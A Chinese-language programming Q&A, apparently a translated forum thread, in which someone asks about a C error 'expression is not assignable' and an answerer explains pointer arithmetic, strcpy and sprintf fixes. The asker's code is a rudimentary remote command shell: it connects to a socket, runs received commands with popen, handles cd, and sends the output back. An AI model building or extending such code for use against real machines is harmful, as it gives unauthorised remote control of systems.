错误:表达式不可赋值(到C指针的一部分)



我收到这个错误:

error: expression is not assignable
*fullmsg+(fmsglen+10) = output;

用于尝试将字符串指针分配给另一个字符串指针的一部分。为什么会发生这种情况,我该如何解决?这是完整的代码:

int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(4583);
server.sin_family = AF_INET;
connect(sock, (struct sockaddr *) &server, sizeof(server));
char* fullmsg = (char *) malloc(10010);
char* command = (char *) malloc(75);
int commandlen;
char* output = (char *) malloc (5000);
int fmsglen = 0;
while (1){
recv(sock, command, 75, 0);
commandlen = strlen(command);
if (*command == 'c' && *command+1 == 'd'){
command[commandlen-1] = '';
int stat = chdir(command+3);
if (stat != 0){
output = strerror(errno);
send(sock, output, 5000, 0);
} else {
send(sock, 0, 0, 0);
}
} else{
FILE * cmd = popen(command, "r");
while (fgets(output, 5000, cmd) != NULL){
*fullmsg+(fmsglen+10) = output;
fmsglen = strlen(fullmsg);
}
sprintf(&fullmsg, "%10lu", strlen(fullmsg));
send(sock, fullmsg, 10010, 0);
pclose(cmd);
}
}
free(output);
free(command);
free(fullmsg);
return 0;
}

感谢所有的帮助(我知道这可能是一个错误,很容易修复,但我对C相对陌生(

在此语句中

*fullmsg+(fmsglen+10) = output;

在赋值的左侧,使用了int类型的值。您不能将一个值赋给另一个值。此外,在右手边有一个类型为char*的对象。因此,无论如何,这项任务都没有意义。

即使你会像一样重写语句

fullmsg+(fmsglen+10) = output;

然而,再次在左手侧将存在可能不可分配的值。

你的意思好像是下面的

strcpy( fullmsg + fmsglen + 10, output );

也就是说,您希望将指针output指向的字符串复制到具有给定偏移量fmsglen + 10的指针fullmsg指向的字符数组。

此外,似乎不是这个if语句

if (*command == 'c' && *command+1 == 'd'){

你是说这份报表

if (*command == 'c' && *( command + 1 ) == 'd'){

这个循环即使你将使用标准的C函数strcpy来复制字符串

while (fgets(output, 5000, cmd) != NULL){
strcpy( fullmsg + fmsglen + 10, output );
fmsglen = strlen(fullmsg);
}

不正确,因为您可以在结果字符串的长度上多次添加10。

这个声明

sprintf(&fullmsg, "%10lu", strlen(fullmsg));

至少应该像一样重写

sprintf( fullmsg, "%10zu", strlen( fullmsg ) );

但这也是错误的,因为调用在fullmsg的开头放置了一个表示表达式strlen( fullmsg )的值的字符串(以零结尾(。您需要一个11字节大小的单独字符串,该字符串将在sprintf的调用中用于将值转换为字符串,然后您可以使用函数memcpy将该字符串复制到fullmsg指向的字符串的开头。

最新更新